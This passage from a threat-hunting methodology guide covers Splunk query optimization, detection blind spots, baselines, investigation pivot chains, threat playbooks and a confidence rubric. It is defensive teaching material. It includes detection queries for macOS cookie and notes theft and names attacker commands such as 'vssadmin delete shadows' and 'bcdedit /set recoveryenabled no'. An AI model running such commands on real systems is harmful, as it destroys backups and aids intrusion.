+ - CPU cycles focused on meaningful data
624
+ - Efficiency score: 💪 10/10
625
+
626
+ **Option B: Late Filtering (AVOID)**
627
+
628
+ ```spl
629
+ index=edr_mac sourcetype=process_execution
630
+ | search (process_name="osascript" OR process_name="AppleScript")
631
+ | search (command_line="*duplicate file*" OR command_line="*Cookies.binarycookies*" OR command_line="*NoteStore.sqlite*")
632
+ | stats count by _time, hostname, user, process_name, command_line, parent_process
633
+ | sort -_time
634
+ ```
635
+
636
+ **Why this fails:**
637
+
638
+ - Base search pulls all `process_execution` events (potentially millions)
639
+ - Filtering happens post-indexing on search heads
640
+ - Massive unnecessary data transfer from indexers
641
+ - Search heads waste CPU on irrelevant events
642
+ - Like sifting gold through a spaghetti strainer
643
+ - Efficiency score: 😩 3/10
644
+
645
+ #### SPL Query Optimization Rules
646
+
647
+ **Rule 1: Base Search Should Be Specific**
648
+
649
+ - Good: `index=windows sourcetype=sysmon EventCode=1 process_name="powershell.exe"`
650
+ - Bad: `index=windows | search EventCode=1 | search process_name="powershell.exe"`
651
+
652
+ **Rule 2: Combine Related Filters with Boolean Logic**
653
+
654
+ - Good: `(field1="value1" OR field1="value2") (field2="*pattern*")`
655
+ - Bad: Multiple sequential `| search` commands
656
+
657
+ **Rule 3: Time Range Filters Are Free**
658
+
659
+ - Always specify appropriate time ranges (earliest/latest)
660
+ - Indexers handle time filtering natively without performance cost
661
+ - Example: `index=windows earliest=-24h latest=now`
662
+
663
+ **Rule 4: Use NOT Carefully**
664
+
665
+ - NOT filters still require indexers to evaluate, but better in base search
666
+ - Example: `index=windows NOT user="SYSTEM"` (in base search, not `| search NOT`)
667
+
668
+ **Rule 5: Stats and Aggregations After Filtering**
669
+
670
+ - Always filter first, then aggregate
671
+ - Good: `index=... filters... | stats count by field`
672
+ - Bad: `index=... | stats count by field | search count>10` (aggregate then filter)
673
+
674
+ #### Common Anti-Patterns to Avoid
675
+
676
+ **Anti-Pattern 1: The Kitchen Sink Search**
677
+
678
+ ```spl
679
+ index=* sourcetype=*
680
+ | search index=windows
681
+ | search EventCode=4688
682
+ ```
683
+
684
+ Problem: Searches all indexes then filters (massive waste)
685
+
686
+ **Anti-Pattern 2: Sequential Search Commands**
687
+
688
+ ```spl
689
+ index=windows EventCode=4688
690
+ | search process_name="cmd.exe"
691
+ | search command_line="*whoami*"
692
+ | search user!="SYSTEM"
693
+ ```
694
+
695
+ Problem: Each `| search` is a post-processing step (combine into base search)
696
+
697
+ **Anti-Pattern 3: Stats Then Filter**
698
+
699
+ ```spl
700
+ index=windows EventCode=4625
701
+ | stats count by src_ip
702
+ | search count>20
703
+ ```
704
+
705
+ Problem: Aggregates all failed auths, then filters by count (wasteful)
706
+ Better: Use `where` after stats or filter before stats if possible
707
+
708
+ #### Hunt Performance Guidelines
709
+
710
+ **For Large Environments (>1TB/day):**
711
+
712
+ - Every filter in base search saves minutes of search time
713
+ - Avoid wildcards at start of strings when possible (`*value` slower than `value*`)
714
+ - Use tstats for pre-aggregated data when available
715
+
716
+ **For Complex Hunts:**
717
+
718
+ - Break into multiple targeted searches rather than one massive search
719
+ - Example: Hunt for 5 different TTPs separately, not one search with OR for all
720
+
721
+ **For Iterative Hunting:**
722
+
723
+ - Start with broad base search to understand data volume
724
+ - Progressively add filters to base search (not as `| search` commands)
725
+ - Monitor search job inspector to verify indexer vs search head CPU usage
726
+
727
+ #### Verification: Is Your Query Efficient?
728
+
729
+ Check Splunk's Job Inspector after running search:
730
+
731
+ - **Good:** High % of time in "indexers"
732
+ - **Bad:** High % of time in "search head" with simple filters
733
+ - **Goal:** Indexers filter 95%+ of events, search heads only process relevant data
734
+
735
+ **Example Application to Hunt:**
736
+
737
+ When hunting for suspicious osascript usage (macOS):
738
+
739
+ ```spl
740
+ # Efficient Hunt Query
741
+ index=edr_mac sourcetype=process_execution
742
+ process_name IN ("osascript", "AppleScript")
743
+ (command_line="*duplicate file*" OR command_line="*Cookies.binarycookies*" OR command_line="*NoteStore.sqlite*")
744
+ earliest=-7d latest=now
745
+ | stats count, values(command_line) as commands by hostname, user, parent_process
746
+ | where count>5
747
+ | sort -count
748
+ ```
749
+
750
+ This query:
751
+
752
+ - Filters at indexer level (process_name, command_line patterns, time)
753
+ - Minimizes data transfer to search heads
754
+ - Aggregates only relevant events
755
+ - Applies post-aggregation filter with `where` (appropriate use case)
756
+
757
+ ### Common Detection Blind Spots by Domain
758
+
759
+ #### Windows/Active Directory Blind Spots
760
+
761
+ - **Gap:** PowerShell v2 execution (bypasses ScriptBlock logging)
762
+ - **Risk:** Can execute malicious scripts without logging
763
+ - **Mitigation:** Disable PowerShell v2, log module loads
764
+
765
+ - **Gap:** Processes without command-line logging (pre-Win10 or not enabled)
766
+ - **Risk:** Can't detect malicious arguments to legitimate tools
767
+ - **Mitigation:** Enable Event 4688 with command-line logging
768
+
769
+ - **Gap:** NTLM authentication (no visibility into hash usage)
770
+ - **Risk:** Can't detect Pass-the-Hash attacks
771
+ - **Mitigation:** Enable NTLM auditing, force Kerberos where possible
772
+
773
+ - **Gap:** No EDR on Domain Controllers
774
+ - **Risk:** Can't see attacker activity on most critical systems
775
+ - **Mitigation:** Deploy EDR/Sysmon on DCs, enable full audit policy
776
+
777
+ #### Linux Blind Spots
778
+
779
+ - **Gap:** No auditd or auditd rules incomplete
780
+ - **Risk:** No process execution, file access, or network visibility
781
+ - **Mitigation:** Deploy comprehensive auditd ruleset
782
+
783
+ - **Gap:** Cron job monitoring absent
784
+ - **Risk:** Persistence mechanism undetected (See H-0002.md)
785
+ - **Mitigation:** FIM on crontab files, log cron execution
786
+
787
+ - **Gap:** No eBPF/kernel-level monitoring
788
+ - **Risk:** Rootkits, kernel module loading undetected
789
+ - **Mitigation:** Deploy Falco, osquery, or kernel monitoring
790
+
791
+ - **Gap:** Container/Docker activity unlogged
792
+ - **Risk:** Malicious container deployment, escape attempts undetected
793
+ - **Mitigation:** Log Docker API calls, container runtime events
794
+
795
+ #### Cloud (AWS/Azure/GCP) Blind Spots
796
+
797
+ - **Gap:** CloudTrail/Azure Activity Logs not centralized or incomplete
798
+ - **Risk:** API calls, privilege escalation, resource modification undetected
799
+ - **Mitigation:** Enable all logging, centralize in SIEM
800
+
801
+ - **Gap:** Instance/VM telemetry not collected
802
+ - **Risk:** What happens inside the instance is invisible
803
+ - **Mitigation:** Deploy agents (CloudWatch, Azure Monitor, Stackdriver)
804
+
805
+ - **Gap:** Storage bucket access logging disabled
806
+ - **Risk:** Data exfiltration via direct bucket access undetected
807
+ - **Mitigation:** Enable S3/Blob/GCS access logging
808
+
809
+ - **Gap:** Identity Provider (Okta, Azure AD) logs not monitored
810
+ - **Risk:** Account compromise, MFA bypass undetected
811
+ - **Mitigation:** Integrate IdP logs into SIEM, alert on anomalies
812
+
813
+ #### SaaS Application Blind Spots
814
+
815
+ - **Gap:** Application audit logs not exported
816
+ - **Risk:** Data access, sharing, exfiltration undetected
817
+ - **Mitigation:** Enable and export audit logs (Microsoft 365, Google Workspace)
818
+
819
+ - **Gap:** Third-party app OAuth grants unmonitored
820
+ - **Risk:** Malicious apps granted access to corporate data
821
+ - **Mitigation:** Monitor OAuth consent events, review app permissions
822
+
823
+ ### Expected "Normal" Baselines by Domain
824
+
825
+ #### Active Directory Normal Baselines
826
+
827
+ - **Authentication:**
828
+ - Business hours (7am-7pm) majority of activity
829
+ - Source IPs from corporate ranges, VPN gateway
830
+ - Logon Type 2 (Interactive) from workstations, Type 3 (Network) from servers
831
+ - Failed authentication <3 attempts followed by success (typo correction)
832
+
833
+ - **Account Activity:**
834
+ - Admin accounts only from jump boxes or specific admin workstations
835
+ - Service accounts: static source IPs, repetitive patterns
836
+ - Standard users: consistent workstation, no server access
837
+
838
+ - **Group Changes:**
839
+ - Rare events (weekly/monthly)
840
+ - Performed by specific admin accounts
841
+ - During change windows or documented tickets
842
+
843
+ #### Linux Server Normal Baselines
844
+
845
+ - **Process Execution:**
846
+ - System daemons (httpd, sshd, cron) from init/systemd parents
847
+ - Admin commands (sudo, apt, yum) during business hours
848
+ - Shell sessions from specific admin users via SSH
849
+
850
+ - **File Changes:**
851
+ - Config changes (/etc/) during maintenance windows
852
+ - Log rotation predictable times
853
+ - Package updates specific times/days
854
+
855
+ - **Network Connections:**
856
+ - Web servers: inbound 80/443 from internet, outbound to DB servers
857
+ - DB servers: inbound 3306/5432 from app servers, no outbound internet
858
+ - SSH: inbound from jump hosts only
859
+
860
+ #### Cloud (AWS) Normal Baselines
861
+
862
+ - **API Calls:**
863
+ - ec2:DescribeInstances from monitoring tools (predictable source IPs)
864
+ - s3:GetObject from application roles (consistent patterns)
865
+ - iam:GetUser from IdP integration (regular intervals)
866
+
867
+ - **Resource Creation:**
868
+ - EC2 instances: during business hours by automation or devs
869
+ - S3 buckets: rare events, specific authorized users
870
+ - IAM roles: very rare, during architecture changes
871
+
872
+ - **Authentication:**
873
+ - Console login: specific admin users, business hours, MFA always
874
+ - API keys: from CI/CD systems, static source IPs
875
+ - Role assumption: from known services (Lambda, ECS)
876
+
877
+ #### SaaS (Microsoft 365) Normal Baselines
878
+
879
+ - **Email Activity:**
880
+ - Send patterns: business hours, consistent volume per user
881
+ - Receive patterns: predictable inbound sources
882
+ - Mailbox access: from user's typical devices/IPs
883
+
884
+ - **File Sharing:**
885
+ - SharePoint/OneDrive: internal sharing common, external sharing rare
886
+ - Link creation: standard users occasional, admins rare
887
+ - Large downloads: individual files common, bulk downloads rare
888
+
889
+ ### Suspicious vs Benign Indicators by Context
890
+
891
+ | Indicator | Suspicious Context | Benign Context |
892
+ |-----------|-------------------|----------------|
893
+ | PowerShell.exe execution | Parent: winword.exe, outlook.exe, browser<br>Args: -enc, -exec bypass, download cradle | Parent: sccm.exe, scheduled task<br>Args: known admin script paths |
894
+ | cmd.exe /c execution | Parent: w3wp.exe, javaw.exe<br>Commands: whoami, net user, ipconfig | Parent: msiexec.exe, installer<br>Commands: documented install scripts |
895
+ | lsass.exe access | Source: unknown binary from Temp<br>Access: 0x1010 (VM_READ) | Source: CrowdStrike, Defender, SCOM<br>Access: legitimate monitoring |
896
+ | Failed SSH attempts | Source: External IP<br>Count: 20+ attempts, multiple usernames | Source: Internal jump host<br>Count: 3 attempts, single user (typo) |
897
+ | crontab modification | User: www-data, non-admin<br>Command: curl to external IP | User: root<br>Command: /usr/bin/backup-script.sh |
898
+ | Scheduled task creation | Author: SYSTEM, Creator: user123<br>Action: powershell.exe from AppData | Author: admin, Creator: admin<br>Action: C:\Scripts\maintenance.ps1 |
899
+ | LDAP queries | Source: Workstation<br>Attributes: adminCount, member, SPN | Source: Azure AD Connect server<br>Attributes: standard sync attributes |
900
+ | Cloud API calls | Source: New IP, unusual geo<br>Action: iam:CreateAccessKey | Source: Known CI/CD IP<br>Action: ec2:DescribeInstances |
901
+ | Large file upload | Destination: mega.nz, anonfiles<br>Size: 5GB, Time: 2am | Destination: corporate SharePoint<br>Size: 100MB, Time: 10am |
902
+
903
+ ---
904
+
905
+ ## Section 3: Pivot Logic
906
+
907
+ ### Standard Artifact Pivot Chains
908
+
909
+ Pivoting is the process of following evidence from one artifact to related artifacts. Think of it as "pulling the thread" to uncover the full attack chain.
910
+
911
+ #### Chain 1: Suspicious Process → Full Attack Context
912
+
913
+ **Starting Point:** Suspicious process execution detected
914
+
915
+ **Pivot Sequence:**
916
+
917
+ 1. **Process Details**
918
+ - Collect: process_name, command_line, parent_process, user, hash, start_time
919
+ - Questions: Is this process legitimate? Expected parent? Known hash?
920
+
921
+ 2. **Parent Process Chain**
922
+ - Pivot to: All ancestors (grandparent, great-grandparent)
923
+ - Look for: Initial access point (browser, Office, email client, web server)
924
+ - Stop when: Reach system process (services.exe, init) or remote connection (sshd, winlogon)
925
+
926
+ 3. **Child Processes**
927
+ - Pivot to: All processes spawned by suspicious process
928
+ - Look for: Reconnaissance (whoami, net, ipconfig), lateral movement, data staging
929
+ - Flag: Multiple discovery commands = attacker oriented themselves
930
+
931
+ 4. **Network Connections**
932
+ - Pivot to: Network connections initiated by process or its children
933
+ - Look for: External IPs, unusual ports, C2 indicators (regular beaconing)
934
+ - Flag: Connection before/after process start = C2 callback or download
935
+
936
+ 5. **File Operations**
937
+ - Pivot to: Files created, modified, or deleted by process
938
+ - Look for: Staged data (archives in Temp), persistence (startup folders), tools (mimikatz)
939
+ - Flag: Files in Temp then executed = multi-stage attack
940
+
941
+ 6. **Registry Modifications**
942
+ - Pivot to: Registry keys modified by process
943
+ - Look for: Run keys, service entries, debugging tools persistence
944
+ - Flag: Persistence mechanism = attacker plans to return
945
+
946
+ 7. **Authentication Events**
947
+ - Pivot to: Logon events around same timeframe, same user
948
+ - Look for: How did attacker get credentials? Lateral movement targets?
949
+ - Flag: Multiple systems accessed = campaign, not isolated
950
+
951
+ **Example Pivot Chain (Web Shell):**
952
+
953
+ ```
954
+ 1. Alert: w3wp.exe spawned cmd.exe
955
+
956
+ 2. Pivot to cmd.exe children: whoami, ipconfig, net user /domain
957
+
958
+ 3. Pivot to network: cmd.exe parent (w3wp) has connection from external IP
959
+
960
+ 4. Pivot to file ops: w3wp wrote file to webroot: /uploads/shell.aspx
961
+
962
+ 5. Pivot to file access: shell.aspx accessed via HTTP POST (web logs)
963
+
964
+ 6. Pivot to user: after shell, new logon Event 4624 from compromised creds
965
+
966
+ 7. Conclusion: Web shell deployed, creds harvested, lateral movement began
967
+ ```
968
+
969
+ #### Chain 2: Suspicious Network Traffic → Source Identification
970
+
971
+ **Starting Point:** Unusual network connection detected (e.g., beaconing, large upload)
972
+
973
+ **Pivot Sequence:**
974
+
975
+ 1. **Connection Details**
976
+ - Collect: source_ip, dest_ip, dest_port, dest_domain, protocol, bytes
977
+ - Questions: Known malicious destination? Unusual port? Beaconing pattern?
978
+
979
+ 2. **DNS Query**
980
+ - Pivot to: DNS query for dest_domain from source_ip
981
+ - Look for: Domain generation algorithm (DGA) patterns, newly registered domains
982
+ - Flag: Domain registered in last 30 days = likely malicious infra
983
+
984
+ 3. **Source Process**
985
+ - Pivot to: Process on source_ip that initiated connection
986
+ - Look for: Legitimate process (browser) or suspicious (powershell, rundll32)
987
+ - Flag: Unusual process for network activity = infected or malicious
988
+
989
+ 4. **Process Lineage**
990
+ - Pivot to: Parent process chain (see Chain 1)
991
+ - Look for: How did this process start? Scheduled task? User double-click? Remote execution?
992
+
993
+ 5. **User Activity**
994
+ - Pivot to: User logged into source_ip at time of connection
995
+ - Look for: Was user account compromised? Multiple concurrent sessions?
996
+
997
+ 6. **Other Connections**
998
+ - Pivot to: All connections from source_ip in time window
999
+ - Look for: Multiple C2 domains? Lateral movement attempts (SMB to other IPs)?
1000
+
1001
+ 7. **Cross-Host Correlation**
1002
+ - Pivot to: Same dest_ip/domain from other internal hosts
1003
+ - Look for: Campaign scale? Multiple infected systems?
1004
+
1005
+ #### Chain 3: Compromised Account → Lateral Movement Tracking
1006
+
1007
+ **Starting Point:** Account suspected compromised (password spray success, phishing)
1008
+
1009
+ **Pivot Sequence:**
1010
+
1011
+ 1. **Authentication Events**
1012
+ - Collect: All logon events (4624) for compromised account
1013
+ - Look for: Unusual source IPs, logon types, timeframes
1014
+
1015
+ 2. **Initial Compromise Host**
1016
+ - Pivot to: First suspicious logon source (workstation where phishing occurred)
1017
+ - Look for: Credential harvesting tools, keystroke loggers, suspicious processes
1018
+
1019
+ 3. **Lateral Movement Path**
1020
+ - Pivot to: Subsequent logons to other systems (servers, workstations)
1021
+ - Look for: Privilege escalation (admin logons), access to critical systems (DCs, databases)
1022
+ - Map: source → target1 → target2 → target3 (movement graph)
1023
+
1024
+ 4. **Actions on Each System**
1025
+ - Pivot to: Process execution, file operations, network connections per target
1026
+ - Look for: Discovery commands, data access, tool deployment
1027
+
1028
+ 5. **Credential Harvesting**
1029
+ - Pivot to: LSASS access, Kerberos ticket requests, credential files accessed
1030
+ - Look for: Additional accounts compromised (domain admin, service accounts)
1031
+
1032
+ 6. **Persistence Mechanisms**
1033
+ - Pivot to: Scheduled tasks, services, registry run keys on accessed systems
1034
+ - Look for: How will attacker maintain access?
1035
+
1036
+ 7. **Data Staging and Exfiltration**
1037
+ - Pivot to: Large file operations, compression tools, unusual uploads
1038
+ - Look for: What was the objective? Data theft? Ransomware staging?
1039
+
1040
+ #### Chain 4: Suspicious File → Infection Chain
1041
+
1042
+ **Starting Point:** Suspicious file detected (malware sandbox alert, unusual hash)
1043
+
1044
+ **Pivot Sequence:**
1045
+
1046
+ 1. **File Origin**
1047
+ - Collect: File path, hash, creation time, size, signature
1048
+ - Questions: Where did file come from? Email attachment? Download? Network share?
1049
+
1050
+ 2. **File Creation Event**
1051
+ - Pivot to: Process that created/wrote the file
1052
+ - Look for: Browser download? Email client save? Copy from network share?
1053
+
1054
+ 3. **File Execution**
1055
+ - Pivot to: Process execution of the file (if executed)
1056
+ - Look for: Direct user execution? Scheduled task? Auto-start mechanism?
1057
+
1058
+ 4. **Process Behavior**
1059
+ - Pivot to: Child processes, network connections, file operations
1060
+ - Look for: Second-stage downloads, C2 callbacks, persistence installation
1061
+
1062
+ 5. **Related Files**
1063
+ - Pivot to: Other files created by same parent process or in same timeframe
1064
+ - Look for: Malware components, dropped tools, staged data
1065
+
1066
+ 6. **Distribution**
1067
+ - Pivot to: Same file hash on other systems
1068
+ - Look for: How widespread? Network share propagation? Worm behavior?
1069
+
1070
+ 7. **User Context**
1071
+ - Pivot to: User who executed or received file
1072
+ - Look for: Targeted user? Phishing campaign? Multiple users affected?
1073
+
1074
+ ### Pivot Playbooks by Threat Type
1075
+
1076
+ #### Ransomware Hunt Pivot Playbook
1077
+
1078
+ **Starting Indicator:** File encryption activity, ransom note, suspicious PowerShell
1079
+
1080
+ **Pivot Priority Order:**
1081
+
1082
+ 1. **Identify Patient Zero** (Initial infection host)
1083
+ - Look for: Email with malicious attachment, RDP brute force, web exploit
1084
+ - Timeframe: 1-7 days before encryption event
1085
+
1086
+ 2. **Map Lateral Movement**
1087
+ - Look for: SMB/RDP connections from patient zero to other systems
1088
+ - Flag: Access to admin shares (\\target\C$), remote service execution
1089
+
1090
+ 3. **Identify Dropped Tools**
1091
+ - Look for: PsExec, Cobalt Strike, Mimikatz, file encryption tools
1092
+ - Locations: Temp, ProgramData, user AppData
1093
+
1094
+ 4. **Track Credential Harvesting**
1095
+ - Look for: LSASS access, credential file access (SAM, NTDS.dit)
1096
+ - Accounts compromised: Likely domain admin for wide impact
1097
+
1098
+ 5. **Identify Staging and Backup Deletion**
1099
+ - Look for: vssadmin delete shadows, bcdedit /set recoveryenabled no
1100
+ - File staging: Large archives before encryption
1101
+
1102
+ 6. **Determine Encryption Scope**
1103
+ - Look for: File rename operations (add extension .encrypted, .locked)
1104
+ - Systems impacted: File servers, databases, workstations
1105
+
1106
+ **Pivot Stop Criteria:**
1107
+
1108
+ - Found initial access vector
1109
+ - Identified all compromised accounts
1110
+ - Mapped full lateral movement path
1111
+ - Located all dropped tools
1112
+ - Determined encryption scope
1113
+
1114
+ #### APT Campaign Hunt Pivot Playbook
1115
+
1116
+ **Starting Indicator:** Targeted phishing, unusual persistent C2, data exfiltration
1117
+
1118
+ **Pivot Priority Order:**
1119
+
1120
+ 1. **Identify Initial Compromise**
1121
+ - Look for: Spearphishing email, watering hole visit, stolen VPN credentials
1122
+ - Timeframe: Could be weeks/months before detection
1123
+
1124
+ 2. **Map Long-Term Persistence**
1125
+ - Look for: Services, scheduled tasks, WMI subscriptions, webshells
1126
+ - Systems: Multiple systems for redundancy
1127
+
1128
+ 3. **Track Internal Reconnaissance**
1129
+ - Look for: AD queries, network scanning, file share enumeration
1130
+ - Goal: Understand what attacker learned about environment
1131
+
1132
+ 4. **Identify Privilege Escalation**
1133
+ - Look for: Kerberoasting, token manipulation, vulnerability exploitation
1134
+ - Flag: Domain admin or enterprise admin compromise
1135
+
1136
+ 5. **Map Data Access**
1137
+ - Look for: Access to file shares, databases, email mailboxes
1138
+ - Focus: Sensitive data (IP, PII, credentials, business plans)
1139
+
1140
+ 6. **Track Data Staging and Exfiltration**
1141
+ - Look for: Large file copies to attacker-controlled systems, archiving, encryption
1142
+ - Destinations: Cloud storage, external IPs, compromised internal systems
1143
+
1144
+ 7. **Identify All C2 Infrastructure**
1145
+ - Look for: Multiple domains/IPs for redundancy, DGA domains, compromised websites
1146
+ - Goal: Full IOC list for blocking
1147
+
1148
+ **Pivot Stop Criteria:**
1149
+
1150
+ - Identified initial access vector and timeframe
1151
+ - Mapped all compromised systems and accounts
1152
+ - Located all persistence mechanisms
1153
+ - Determined what data was accessed/exfiltrated
1154
+ - Generated complete IOC list
1155
+
1156
+ #### Insider Threat Hunt Pivot Playbook
1157
+
1158
+ **Starting Indicator:** Data exfiltration, policy violation, access to unauthorized systems
1159
+
1160
+ **Pivot Priority Order:**
1161
+
1162
+ 1. **Identify User and Establish Baseline**
1163
+ - Collect: User's normal authentication patterns, data access, work hours
1164
+ - Goal: Understand deviation from normal
1165
+
1166
+ 2. **Track Authentication Anomalies**
1167
+ - Look for: Access at unusual times, from unusual locations, to unusual systems
1168
+ - Flag: Access to systems outside job role
1169
+
1170
+ 3. **Identify Data Access**
1171
+ - Look for: File access to sensitive directories, database queries, email access
1172
+ - Volume: Unusual spike in access (mass download)
1173
+
1174
+ 4. **Track Data Movement**
1175
+ - Look for: Files copied to USB, uploaded to personal cloud, emailed externally
1176
+ - Methods: Cloud storage (Dropbox, personal Gmail), USB drives, print to PDF
1177
+
1178
+ 5. **Identify Covering Tracks**
1179
+ - Look for: Log deletion, history clearing, file deletion, encryption
1180
+ - Tools: CCleaner, secure delete tools, encryption software
1181
+
1182
+ 6. **Cross-Reference with HR/Security Events**
1183
+ - Look for: Recent termination notice, PIP, access to competitor info, resignation
1184
+ - Timeline: Activity spike before departure?
1185
+
1186
+ **Pivot Stop Criteria:**
1187
+
1188
+ - Established baseline vs. anomalous behavior
1189
+ - Identified all data accessed
1190
+ - Tracked all exfiltration methods
1191
+ - Determined motive and timeline
1192
+ - Preserved evidence for legal action
1193
+
1194
+ ### Decision Framework: When to Pivot vs When to Collapse
1195
+
1196
+ **Pivot** (Continue Investigation) When:
1197
+
1198
+ - New evidence contradicts initial hypothesis → explore alternative explanations
1199
+ - Finding is high severity (domain admin compromise, data exfil) → full scope required
1200
+ - Pattern suggests broader campaign → must find all affected systems
1201
+ - Clear path to next artifact (process → child → network → C2)
1202
+ - Confidence is medium/high that pivot will yield valuable context
1203
+ - Still within scope and time budget for hunt
1204
+
1205
+ **Collapse Back to Hypothesis** (Stop Pivoting) When:
1206
+
1207
+ - Evidence clearly proves/disproves hypothesis → document and conclude
1208
+ - Reached pivot dead-end (no related artifacts found)
1209
+ - Evidence is benign/false positive → update hunt notes, refine query
1210
+ - Diminishing returns (each pivot yields less value)
1211
+ - Time/resource budget exhausted
1212
+ - Pivots diverge too far from original hypothesis (scope creep)
1213
+
1214
+ **Decision Tree:**
1215
+
1216
+ ```
1217
+ Suspicious Finding Detected
1218
+
1219
+ Is it high severity? (data exfil, domain admin compromise, multiple systems)
1220
+ YES → Pivot aggressively, full investigation
1221
+ NO → Continue...
1222
+
1223
+ Is there clear next artifact? (process → parent, IP → domain, user → logons)
1224
+ YES → Pivot to next artifact
1225
+ NO → Collapse, document findings
1226
+
1227
+ Does pivot provide new high-value context?
1228
+ YES → Continue pivot chain
1229
+ NO → Collapse, avoid diminishing returns
1230
+
1231
+ Are you still within hunt scope/objective?
1232
+ YES → Pivot if valuable
1233
+ NO → Collapse, document for future hunt
1234
+ ```
1235
+
1236
+ **Example Decision: To Pivot or Not**
1237
+
1238
+ **Scenario 1: Suspicious PowerShell Execution**
1239
+
1240
+ - Finding: powershell.exe -enc <base64> from WINWORD.exe
1241
+ - Severity: High (document spawning encoded PS = likely malware)
1242
+ - Decision: **PIVOT**
1243
+ 1. Decode base64 → reveals download cradle
1244
+ 2. Pivot to network connections → identifies C2 domain
1245
+ 3. Pivot to file operations → finds dropped payload
1246
+ 4. Pivot to other systems → checks if C2 domain contacted elsewhere
1247
+ 5. Full incident response initiated
1248
+
1249
+ **Scenario 2: Unusual File Access**
1250
+
1251
+ - Finding: User accessed 50 files in sensitive share (normal: 5-10 per day)
1252
+ - Severity: Medium (could be insider threat or legitimate project)
1253
+ - Decision: **PIVOT CAUTIOUSLY**
1254
+ 1. Check user context → finds user recently joined project requiring access
1255
+ 2. Cross-reference with access request ticket → approved access for project
1256
+ 3. Decision: **COLLAPSE** → False positive, benign activity, document baseline change
1257
+
1258
+ **Scenario 3: Failed Authentication Spike**
1259
+
1260
+ - Finding: 100 failed SSH attempts from external IP
1261
+ - Severity: Low (internet background noise, no successful auth)
1262
+ - Decision: **COLLAPSE QUICKLY**
1263
+ 1. Check for successful auth → None found
1264
+ 2. Check source IP reputation → Known scanner (Shodan)
1265
+ 3. Decision: **COLLAPSE** → Benign internet scanning, block IP, document baseline (See H-0001.md pattern)
1266
+
1267
+ ### Pivot Dead-Ends and When to Stop
1268
+
1269
+ **Recognize Pivot Dead-Ends:**
1270
+
1271
+ 1. **No Related Artifacts Found**
1272
+ - Pivoted to network connections → No connections logged
1273
+ - Pivoted to child processes → Process exited immediately, no children
1274
+ - **Action:** Document gap, move to different artifact type or collapse
1275
+
1276
+ 2. **Logs Don't Exist or Are Incomplete**
1277
+ - Pivoted to file operations → No FIM deployed on system
1278
+ - Pivoted to authentication events → Logs rotated, outside retention
1279
+ - **Action:** Document telemetry gap for future improvement, collapse
1280
+
1281
+ 3. **Too Much Noise, No Signal**
1282
+ - Pivoted to user activity → Thousands of events, all appear benign
1283
+ - Pivoted to network → Normal application traffic, can't distinguish malicious
1284
+ - **Action:** Refine pivot query, or collapse and try different angle
1285
+
1286
+ 4. **Circular Reference (Loop)**
1287
+ - Pivoted A → B → C → back to A
1288
+ - Example: process → parent → same process (service restart loop)
1289
+ - **Action:** Break loop, document finding, collapse
1290
+
1291
+ 5. **Benign Root Cause Identified**
1292
+ - Pivoted back to origin → Finds legitimate admin action
1293
+ - Pivoted to user → Confirmed authorized activity with ticket
1294
+ - **Action:** Mark false positive, update baseline, collapse
1295
+
1296
+ **When to Definitively Stop:**
1297
+
1298
+ - Reached root cause (initial access identified)
1299
+ - Reached known good (legitimate system process, approved action)
1300
+ - Exhausted relevant pivot options (no more artifacts to check)
1301
+ - Answered hypothesis question (proved or disproved)
1302
+ - Evidence clearly shows false positive
1303
+ - Time budget exhausted (document progress, schedule follow-up if needed)
1304
+
1305
+ ---
1306
+
1307
+ ## Section 4: Analytical Rigor
1308
+
1309
+ ### Confidence Scoring Rubric
1310
+
1311
+ **Use this rubric to assign confidence levels to findings. Prevents overconfidence and anchoring bias.**
1312
+
1313
+ #### Low Confidence (30-50%)
1314
+
1315
+ **Characteristics:**
1316
+
1317
+ - Single weak indicator
1318
+ - High false positive potential
1319
+ - Missing corroborating evidence
1320
+ - Behavioral baseline unknown
1321
+ - Alternative benign explanations exist
1322
+
1323
+ **Examples:**
1324
+
1325
+ - "Single failed authentication attempt from external IP" → Could be typo, scanner, or attacker
1326
+ - "PowerShell executed on system" → PowerShell is legitimate tool, need context
1327
+ - "File created in Temp directory" → Many legitimate processes use Temp
1328
+
1329
+ **Language to Use:**
1330
+
1331
+ - "May indicate..."
1332
+ - "Potentially suspicious..."
1333
+ - "Requires additional investigation..."
1334
+ - "Could be consistent with..."
1335
+
1336
+ **Action:** Continue investigation, gather corroborating evidence, avoid escalation without more data
1337
+
1338
+ #### Medium Confidence (55-75%)
1339
+
1340
+ **Characteristics:**
1341
+
1342
+ - Multiple weak indicators OR one strong indicator
1343
+ - Some corroborating evidence
1344
+ - Known attack pattern but alternative explanations possible
1345
+ - Context suggests suspicious but not definitive
1346
+
1347
+ **Examples:**
1348
+
1349
+ - "PowerShell with encoded command from suspicious parent (Office app) + no business justification found"
1350
+ - "20 failed SSH attempts from single external IP within 5 minutes" (See H-0001.md)
1351
+ - "File created in webroot with .aspx extension by IIS process during unusual request"
1352
+
1353
+ **Language to Use:**
1354
+
1355
+ - "Likely indicates..."
1356
+ - "Consistent with..."
1357
+ - "Strong indication of..."
1358
+ - "Probably related to..."
1359
+
1360
+ **Action:** Escalate for further analysis, implement containment if risk is high, gather additional evidence
1361
+
1362
+ #### High Confidence (80-95%)
1363
+
1364
+ **Characteristics:**
1365
+
1366
+ - Multiple strong indicators
1367
+ - Corroborating evidence across multiple data sources
1368
+ - Matches known attack pattern with high fidelity
1369
+ - Alternative benign explanations ruled out
1370
+ - Context and timeline support malicious intent
1371
+
1372
+ **Examples:**
1373
+
1374
+ - "Encoded PowerShell from WINWORD.exe + outbound C2 connection + known-bad domain + file dropped in Temp + child process cmd.exe with reconnaissance commands"
1375
+ - "LSASS process access by unsigned binary from Temp directory + subsequent Kerberos ticket requests + lateral RDP to multiple servers"
1376
+ - "Failed SSH brute force followed by successful authentication + suspicious commands (whoami, curl to external IP, cron job creation)"
1377
+
1378
+ **Language to Use:**
1379
+
1380
+ - "Confirms..."
1381
+ - "Definitively indicates..."
1382
+ - "Strong evidence of..."
1383
+ - "Highly likely..."
1384
+
1385
+ **Action:** Escalate to incident response immediately, initiate containment, preserve evidence
1386
+
1387
+ #### Very High Confidence (95-100%)
1388
+
1389
+ **Characteristics:**
1390
+
1391
+ - Overwhelming evidence from multiple sources
1392
+ - Known malicious artifacts (malware hash, validated IOC)
1393
+ - Direct observation of adversary tools (mimikatz.exe, Cobalt Strike beacon)
1394
+ - Confirmed by multiple investigators or tools
1395
+ - No plausible alternative explanation
1396
+
1397
+ **Examples:**
1398
+
1399
+ - "Known ransomware hash executed + file encryption operations observed + ransom note created + shadow copies deleted"
1400
+ - "Confirmed web shell code in webroot + active HTTP requests executing commands + attacker IP traced"
1401
